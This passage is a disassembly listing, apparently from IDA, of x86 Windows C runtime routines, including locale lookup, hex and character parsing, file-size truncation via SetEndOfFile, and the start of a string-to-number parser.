[ebp+var_C] imul edx, 2Ch mov eax, [ebp+arg_0] cmp eax, dword_447B30[edx] jnb short loc_42DF2A mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42DF33 ; --------------------------------------------------------------------------- loc_42DF2A: ; CODE XREF: sub_42DDD0+14Dj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_10], edx loc_42DF33: ; CODE XREF: sub_42DDD0+158j jmp loc_42DDEB ; --------------------------------------------------------------------------- loc_42DF38: ; CODE XREF: sub_42DDD0+21j ; sub_42DDD0:loc_42DEE4j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4E0398 ; GetLocaleInfoA loc_42DF4E: ; CODE XREF: sub_42DDD0+13Cj mov esp, ebp pop ebp retn 10h sub_42DDD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DF60 proc near ; CODE XREF: sub_42D600+Ap ; sub_42D9B0+Ap ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 loc_42DF6D: ; CODE XREF: sub_42DF60+6Dj mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl movsx edx, [ebp+var_8] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jz short loc_42DFCF movsx ecx, [ebp+var_8] cmp ecx, 61h jl short loc_42DFA2 movsx edx, [ebp+var_8] cmp edx, 66h jg short loc_42DFA2 mov al, [ebp+var_8] add al, 0D9h mov [ebp+var_8], al jmp short loc_42DFBC ; --------------------------------------------------------------------------- loc_42DFA2: ; CODE XREF: sub_42DF60+2Dj ; sub_42DF60+36j movsx ecx, [ebp+var_8] cmp ecx, 41h jl short loc_42DFBC movsx edx, [ebp+var_8] cmp edx, 46h jg short loc_42DFBC mov al, [ebp+var_8] add al, 0F9h mov [ebp+var_8], al loc_42DFBC: ; CODE XREF: sub_42DF60+40j ; sub_42DF60+49j ... mov ecx, [ebp+var_4] shl ecx, 4 movsx edx, [ebp+var_8] lea eax, [ecx+edx-30h] mov [ebp+var_4], eax jmp short loc_42DF6D ; --------------------------------------------------------------------------- loc_42DFCF: ; CODE XREF: sub_42DF60+24j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42DF60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DFE0 proc near ; CODE XREF: sub_42D540+60p ; sub_42D930+39p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_4], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_42DFFE: ; CODE XREF: sub_42DFE0+5Cj movsx eax, [ebp+var_4] cmp eax, 41h jl short loc_42E010 movsx ecx, [ebp+var_4] cmp ecx, 5Ah jle short loc_42E022 loc_42E010: ; CODE XREF: sub_42DFE0+25j movsx edx, [ebp+var_4] cmp edx, 61h jl short loc_42E03E movsx eax, [ebp+var_4] cmp eax, 7Ah jg short loc_42E03E loc_42E022: ; CODE XREF: sub_42DFE0+2Ej mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx jmp short loc_42DFFE ; --------------------------------------------------------------------------- loc_42E03E: ; CODE XREF: sub_42DFE0+37j ; sub_42DFE0+40j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42DFE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 mov eax, [ebp+8] push eax call sub_42E1D0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 0 mov eax, [ebp+8] push eax call sub_42E1D0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 0 mov eax, [ebp+8] push eax call sub_42E1D0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 107h mov eax, [ebp+8] push eax call sub_42E1D0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 103h mov eax, [ebp+8] push eax call sub_42E1D0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 117h mov eax, [ebp+8] push eax call sub_42E1D0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 157h mov eax, [ebp+8] push eax call sub_42E1D0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 10h mov eax, [ebp+8] push eax call sub_42E1D0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E150 proc near ; CODE XREF: sub_427B20+4Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push 0 mov eax, [ebp+arg_0] push eax call sub_42E1D0 add esp, 0Ch pop ebp retn sub_42E150 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 8 push 0 mov eax, [ebp+8] push eax call sub_42E1D0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4DE42C, 3A4h jnz short loc_42E1BD push 3 push 0 mov eax, [ebp+8] push eax call sub_42E1D0 add esp, 0Ch test eax, eax jz short loc_42E1BD mov dword ptr [ebp-4], 1 jmp short loc_42E1C4 ; --------------------------------------------------------------------------- loc_42E1BD: ; CODE XREF: .data:0042E19Ej ; .data:0042E1B2j mov dword ptr [ebp-4], 0 loc_42E1C4: ; CODE XREF: .data:0042E1BBj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E1D0 proc near ; CODE XREF: .data:0042E05Bp ; .data:0042E07Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] and eax, 0FFh mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, byte_4DE541[ecx] and edx, [ebp+arg_8] test edx, edx jnz short loc_42E224 cmp [ebp+arg_4], 0 jz short loc_42E20E mov eax, [ebp+arg_0] xor ecx, ecx mov cx, word_44727E[eax*2] and ecx, [ebp+arg_4] mov [ebp+var_4], ecx jmp short loc_42E215 ; --------------------------------------------------------------------------- loc_42E20E: ; CODE XREF: sub_42E1D0+27j mov [ebp+var_4], 0 loc_42E215: ; CODE XREF: sub_42E1D0+3Cj cmp [ebp+var_4], 0 jnz short loc_42E224 mov [ebp+var_8], 0 jmp short loc_42E22B ; --------------------------------------------------------------------------- loc_42E224: ; CODE XREF: sub_42E1D0+21j ; sub_42E1D0+49j mov [ebp+var_8], 1 loc_42E22B: ; CODE XREF: sub_42E1D0+52j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42E1D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, dword_4DE420 jnb short loc_42E271 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42E281 loc_42E271: ; CODE XREF: .data:0042E24Dj call sub_4224D0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_42E2AF ; --------------------------------------------------------------------------- loc_42E281: ; CODE XREF: .data:0042E26Fj mov edx, [ebp+8] push edx call sub_4299C0 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_42E2C0 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_429A50 add esp, 4 mov eax, [ebp-4] loc_42E2AF: ; CODE XREF: .data:0042E27Fj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E2C0 proc near ; CODE XREF: sub_429E30+44Cp ; .data:0042E295p var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_101C = dword ptr -101Ch var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1024h call sub_4181D0 push ebx push esi push edi lea eax, [ebp+var_1004] mov [ebp+var_1014], eax mov [ebp+var_101C], 0 loc_42E2E6: ; CODE XREF: sub_42E2C0+51j cmp [ebp+arg_4], 0 jge short loc_42E30D push offset aSize0 ; "size >= 0" push 0 push 81h push offset aChsize_c ; "chsize.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_42E30D int 3 ; Trap to Debugger loc_42E30D: ; CODE XREF: sub_42E2C0+2Aj ; sub_42E2C0+4Aj xor ecx, ecx test ecx, ecx jnz short loc_42E2E6 push 1 push 0 mov edx, [ebp+arg_0] push edx call sub_426470 add esp, 0Ch mov [ebp+var_100C], eax cmp [ebp+var_100C], 0FFFFFFFFh jz short loc_42E351 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_426470 add esp, 0Ch mov [ebp+var_1010], eax cmp [ebp+var_1010], 0FFFFFFFFh jnz short loc_42E359 loc_42E351: ; CODE XREF: sub_42E2C0+70j or eax, 0FFFFFFFFh jmp loc_42E4E9 ; --------------------------------------------------------------------------- loc_42E359: ; CODE XREF: sub_42E2C0+8Fj mov ecx, [ebp+arg_4] sub ecx, [ebp+var_1010] mov [ebp+var_1018], ecx cmp [ebp+var_1018], 0 jle loc_42E470 push 1000h push 0 mov edx, [ebp+var_1014] push edx call sub_417700 add esp, 0Ch push 8000h mov eax, [ebp+arg_0] push eax call sub_431470 add esp, 8 mov [ebp+var_4], eax loc_42E39F: ; CODE XREF: sub_42E2C0+198j cmp [ebp+var_1018], 1000h jl short loc_42E3B7 mov [ebp+var_1020], 1000h jmp short loc_42E3C3 ; --------------------------------------------------------------------------- loc_42E3B7: ; CODE XREF: sub_42E2C0+E9j mov ecx, [ebp+var_1018] mov [ebp+var_1020], ecx loc_42E3C3: ; CODE XREF: sub_42E2C0+F5j mov edx, [ebp+var_1020] mov [ebp+var_1008], edx cmp [ebp+var_1018], 1000h jl short loc_42E3E7 mov [ebp+var_1024], 1000h jmp short loc_42E3F3 ; --------------------------------------------------------------------------- loc_42E3E7: ; CODE XREF: sub_42E2C0+119j mov eax, [ebp+var_1018] mov [ebp+var_1024], eax loc_42E3F3: ; CODE XREF: sub_42E2C0+125j mov ecx, [ebp+var_1024] push ecx mov edx, [ebp+var_1014] push edx mov eax, [ebp+arg_0] push eax call sub_4268D0 add esp, 0Ch mov [ebp+var_1008], eax cmp [ebp+var_1008], 0FFFFFFFFh jnz short loc_42E43F call sub_4224E0 cmp dword ptr [eax], 5 jnz short loc_42E431 call sub_4224D0 mov dword ptr [eax], 0Dh loc_42E431: ; CODE XREF: sub_42E2C0+164j mov ecx, [ebp+var_1008] mov [ebp+var_101C], ecx jmp short loc_42E45E ; --------------------------------------------------------------------------- loc_42E43F: ; CODE XREF: sub_42E2C0+15Aj mov edx, [ebp+var_1018] sub edx, [ebp+var_1008] mov [ebp+var_1018], edx cmp [ebp+var_1018], 0 jg loc_42E39F loc_42E45E: ; CODE XREF: sub_42E2C0+17Dj mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_431470 add esp, 8 jmp short loc_42E4CE ; --------------------------------------------------------------------------- loc_42E470: ; CODE XREF: sub_42E2C0+AFj cmp [ebp+var_1018], 0 jge short loc_42E4CE push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_426470 add esp, 0Ch mov ecx, [ebp+arg_0] push ecx call sub_429840 add esp, 4 push eax call dword_4E02E4 ; SetEndOfFile neg eax sbb eax, eax neg eax dec eax mov [ebp+var_101C], eax cmp [ebp+var_101C], 0FFFFFFFFh jnz short loc_42E4CE call sub_4224D0 mov dword ptr [eax], 0Dh call dword_4E0350 ; RtlGetLastWin32Error mov esi, eax call sub_4224E0 mov [eax], esi loc_42E4CE: ; CODE XREF: sub_42E2C0+1AEj ; sub_42E2C0+1B7j ... push 0 mov edx, [ebp+var_100C] push edx mov eax, [ebp+arg_0] push eax call sub_426470 add esp, 0Ch mov eax, [ebp+var_101C] loc_42E4E9: ; CODE XREF: sub_42E2C0+94j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42E2C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E4F0 proc near ; CODE XREF: sub_42B320+53p ; sub_42B320+94p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_0] jb short loc_42E516 mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jnb short loc_42E51F loc_42E516: ; CODE XREF: sub_42E4F0+1Cj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42E51F: ; CODE XREF: sub_42E4F0+24j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42E4F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E530 proc near ; CODE XREF: sub_42E6B0+77p ; sub_42E6B0+AAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_42E4F0 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42E587 mov edx, [ebp+arg_0] add edx, 4 push edx push 1 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_42E4F0 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_42E587 mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax loc_42E587: ; CODE XREF: sub_42E530+25j ; sub_42E530+46j mov edx, [ebp+arg_0] add edx, 4 push edx mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_42E4F0 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_42E5BC mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx loc_42E5BC: ; CODE XREF: sub_42E530+7Bj mov ecx, [ebp+arg_0] add ecx, 8 push ecx mov edx, [ebp+arg_4] mov eax, [edx+8] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] push edx call sub_42E4F0 add esp, 0Ch mov esp, ebp pop ebp retn sub_42E530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E5E0 proc near ; CODE XREF: sub_42E6B0+5Bp ; sub_42E6B0+67p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 80000000h neg ecx sbb ecx, ecx neg ecx mov [ebp+var_4], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 80000000h neg eax sbb eax, eax neg eax mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx] shl edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shl edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] shl edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+8], edx mov esp, ebp pop ebp retn sub_42E5E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E640 proc near ; CODE XREF: sub_42F370+382p ; sub_431540+316p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 neg ecx sbb ecx, ecx and ecx, 80000000h mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 1 neg eax sbb eax, eax and eax, 80000000h mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shr edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx] shr edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax], edx mov esp, ebp pop ebp retn sub_42E640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E6B0 proc near ; CODE XREF: sub_42E7F0+8A7p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 404Eh mov eax, [ebp+arg_8] mov dword ptr [eax], 0 mov ecx, [ebp+arg_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_8] mov dword ptr [edx+8], 0 jmp short loc_42E6ED ; --------------------------------------------------------------------------- loc_42E6DB: ; CODE XREF: sub_42E6B0+B2j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42E6ED: ; CODE XREF: sub_42E6B0+29j cmp [ebp+arg_4], 0 jbe short loc_42E767 mov edx, [ebp+arg_8] mov eax, [edx] mov [ebp+var_C], eax mov ecx, [edx+4] mov [ebp+var_8], ecx mov edx, [edx+8] mov [ebp+var_4], edx mov eax, [ebp+arg_8] push eax call sub_42E5E0 add esp, 4 mov ecx, [ebp+arg_8] push ecx call sub_42E5E0 add esp, 4 lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_8] push eax call sub_42E530 add esp, 8 mov ecx, [ebp+arg_8] push ecx call sub_42E5E0 add esp, 4 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov [ebp+var_C], eax mov [ebp+var_8], 0 mov [ebp+var_4], 0 lea ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx call sub_42E530 add esp, 8 jmp loc_42E6DB ; --------------------------------------------------------------------------- loc_42E767: ; CODE XREF: sub_42E6B0+41j ; sub_42E6B0+101j mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 0 jnz short loc_42E7B3 mov ecx, [ebp+arg_8] mov edx, [ecx+4] shr edx, 10h mov eax, [ebp+arg_8] mov [eax+8], edx mov ecx, [ebp+arg_8] mov edx, [ecx+4] shl edx, 10h mov eax, [ebp+arg_8] mov ecx, [eax] shr ecx, 10h or edx, ecx mov eax, [ebp+arg_8] mov [eax+4], edx mov ecx, [ebp+arg_8] mov edx, [ecx] shl edx, 10h mov eax, [ebp+arg_8] mov [eax], edx mov cx, [ebp+var_10] sub cx, 10h mov [ebp+var_10], cx jmp short loc_42E767 ; --------------------------------------------------------------------------- loc_42E7B3: ; CODE XREF: sub_42E6B0+BEj ; sub_42E6B0+12Aj mov edx, [ebp+arg_8] mov eax, [edx+8] and eax, 8000h test eax, eax jnz short loc_42E7DC mov ecx, [ebp+arg_8] push ecx call sub_42E5E0 add esp, 4 mov dx, [ebp+var_10] sub dx, 1 mov [ebp+var_10], dx jmp short loc_42E7B3 ; --------------------------------------------------------------------------- loc_42E7DC: ; CODE XREF: sub_42E6B0+110j mov eax, [ebp+arg_8] mov cx, [ebp+var_10] mov [eax+0Ah], cx mov esp, ebp pop ebp retn sub_42E6B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E7F0 proc near ; CODE XREF: sub_42B9B0+1Ap ; .data:0042BA0Ap ... var_B4 = byte ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_A4 = byte ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5E = dword ptr -5Eh var_5A = dword ptr -5Ah var_56 = word ptr -56h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_21 = byte ptr -21h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 0B4h lea eax, [ebp+var_38] mov [ebp+var_68], eax mov word ptr [ebp+var_1C], 0 mov [ebp+var_74], 1 mov [ebp+var_70], 0 mov [ebp+var_54], 0 mov [ebp+var_C], 0 mov [ebp+var_18], 0 mov [ebp+var_40], 0 mov [ebp+var_78], 0 mov [ebp+var_14], 0 mov [ebp+var_6C], 0 mov [ebp+var_44], 0 mov [ebp+var_4C], 0 mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov [ebp+var_64], edx jmp short loc_42E869 ; --------------------------------------------------------------------------- loc_42E860: ; CODE XREF: sub_42E7F0:loc_42E895j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42E869: ; CODE XREF: sub_42E7F0+6Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_42E895 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jz short loc_42E895 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jz short loc_42E895 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jnz short loc_42E897 loc_42E895: ; CODE XREF: sub_42E7F0+82j ; sub_42E7F0+8Dj ... jmp short loc_42E860 ; --------------------------------------------------------------------------- loc_42E897: ; CODE XREF: sub_42E7F0+A3j ; sub_42E7F0:loc_42EFF3j cmp [ebp+var_4C], 0Ah jz loc_42EFF8 mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4C] mov [ebp+var_80], eax cmp [ebp+var_80], 0Bh ja loc_42EFF3 mov ecx, [ebp+var_80] jmp off_42F20A[ecx*4] loc_42E8CC: ; DATA XREF: .data:off_42F20Ao movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42E8F0 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42E8F0 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42E965 ; --------------------------------------------------------------------------- loc_42E8F0: ; CODE XREF: sub_42E7F0+E3j ; sub_42E7F0+ECj movsx edx, byte ptr [ebp+var_3C] movsx eax, byte_447484 cmp edx, eax jnz short loc_42E908 mov [ebp+var_4C], 5 jmp short loc_42E965 ; --------------------------------------------------------------------------- loc_42E908: ; CODE XREF: sub_42E7F0+10Dj mov cl, byte ptr [ebp+var_3C] mov [ebp+var_84], cl cmp [ebp+var_84], 2Bh jz short loc_42E937 cmp [ebp+var_84], 2Dh jz short loc_42E946 cmp [ebp+var_84], 30h jz short loc_42E92E jmp short loc_42E955 ; --------------------------------------------------------------------------- loc_42E92E: ; CODE XREF: sub_42E7F0+13Aj mov [ebp+var_4C], 1 jmp short loc_42E965 ; --------------------------------------------------------------------------- loc_42E937: ; CODE XREF: sub_42E7F0+128j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 0 jmp short loc_42E965 ; --------------------------------------------------------------------------- loc_42E946: ; CODE XREF: sub_42E7F0+131j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 8000h jmp short loc_42E965 ; --------------------------------------------------------------------------- loc_42E955: ; CODE XREF: sub_42E7F0+13Cj mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42E965: ; CODE XREF: sub_42E7F0+FEj ; sub_42E7F0+116j ... jmp loc_42EFF3 ; --------------------------------------------------------------------------- loc_42E96A: ; CODE XREF: sub_42E7F0+D5j ; DATA XREF: .data:0042F20Eo mov [ebp+var_54], 1 movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_42E998 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_42E998 mov [ebp+var_4C], 3 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp loc_42EA1B ; --------------------------------------------------------------------------- loc_42E998: ; CODE XREF: sub_42E7F0+188j ; sub_42E7F0+191j movsx eax, byte ptr [ebp+var_3C] movsx ecx, byte_447484 cmp eax, ecx jnz short loc_42E9B0 mov [ebp+var_4C], 4 jmp short loc_42EA1B ; --------------------------------------------------------------------------- loc_42E9B0: ; CODE XREF: sub_42E7F0+1B5j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_88], edx mov eax, [ebp+var_88] sub eax, 2Bh mov [ebp+var_88], eax cmp [ebp+var_88], 3Ah ja short loc_42EA0B mov edx, [ebp+var_88] xor ecx, ecx mov cl, byte_42F24A[edx] jmp off_42F23A[ecx*4] loc_42E9E7: ; CODE XREF: sub_42E7F0+D5j ; DATA XREF: .data:0042F23Eo mov [ebp+var_4C], 1 jmp short loc_42EA1B ; --------------------------------------------------------------------------- loc_42E9F0: ; CODE XREF: sub_42E7F0+D5j ; sub_42E7F0+1F0j ; DATA XREF: ... mov [ebp+var_4C], 6 jmp short loc_42EA1B ; --------------------------------------------------------------------------- loc_42E9F9: ; CODE XREF: sub_42E7F0+D5j ; sub_42E7F0+1F0j ; DATA XREF: ... mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_42EA1B ; --------------------------------------------------------------------------- loc_42EA0B: ; CODE XREF: sub_42E7F0+D5j ; sub_42E7F0+1E0j ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_42EA1B: ; CODE XREF: sub_42E7F0+1A3j ; sub_42E7F0+1BEj ... jmp loc_42EFF3 ; --------------------------------------------------------------------------- loc_42EA20: ; CODE XREF: sub_42E7F0+D5j ; DATA XREF: .data:0042F212o movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42EA44 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42EA44 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42EA86 ; --------------------------------------------------------------------------- loc_42EA44: ; CODE XREF: sub_42E7F0+237j ; sub_42E7F0+240j movsx edx, byte ptr [ebp+var_3C] movsx eax, byte_447484 cmp edx, eax jnz short loc_42EA5C mov [ebp+var_4C], 5 jmp short loc_42EA86 ; --------------------------------------------------------------------------- loc_42EA5C: ; CODE XREF: sub_42E7F0+261j mov cl, byte ptr [ebp+var_3C] mov [ebp+var_8C], cl cmp [ebp+var_8C], 30h jz short loc_42EA70 jmp short loc_42EA79 ; --------------------------------------------------------------------------- loc_42EA70: ; CODE XREF: sub_42E7F0+27Cj mov [ebp+var_4C], 1 jmp short loc_42EA86 ; --------------------------------------------------------------------------- loc_42EA79: ; CODE XREF: sub_42E7F0+27Ej mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_42EA86: ; CODE XREF: sub_42E7F0+252j ; sub_42E7F0+26Aj ... jmp loc_42EFF3 ; --------------------------------------------------------------------------- loc_42EA8B: ; CODE XREF: sub_42E7F0+D5j ; DATA XREF: .data:0042F216o 